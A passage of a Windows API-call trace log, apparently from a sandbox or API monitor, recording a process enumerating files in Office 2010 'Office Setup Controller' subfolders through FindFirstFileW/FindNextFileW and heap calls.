dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.090] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.090] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0219.091] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0219.091] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.110] GetProcessHeap () returned 0x560000 [0219.110] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.110] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0219.110] GetProcessHeap () returned 0x560000 [0219.110] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.112] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.112] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0219.112] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0219.113] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.113] GetProcessHeap () returned 0x560000 [0219.113] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.113] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0219.113] GetProcessHeap () returned 0x560000 [0219.113] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.114] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.114] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0219.474] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.474] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.474] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.475] GetProcessHeap () returned 0x560000 [0219.475] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.475] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0219.475] GetProcessHeap () returned 0x560000 [0219.475] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.476] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.476] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0219.476] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.477] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.477] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.477] GetProcessHeap () returned 0x560000 [0219.477] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.477] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0219.477] GetProcessHeap () returned 0x560000 [0219.477] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.479] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.480] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0219.480] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.480] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.480] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.480] GetProcessHeap () returned 0x560000 [0219.480] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0219.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0219.481] GetProcessHeap () returned 0x560000 [0219.481] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.485] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.486] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.486] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0219.486] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0219.486] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.486] GetProcessHeap () returned 0x560000 [0219.486] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0219.487] GetProcessHeap () returned 0x560000 [0219.487] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.489] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.489] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.489] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0219.489] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0219.489] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.490] GetProcessHeap () returned 0x560000 [0219.490] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0219.490] GetProcessHeap () returned 0x560000 [0219.490] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 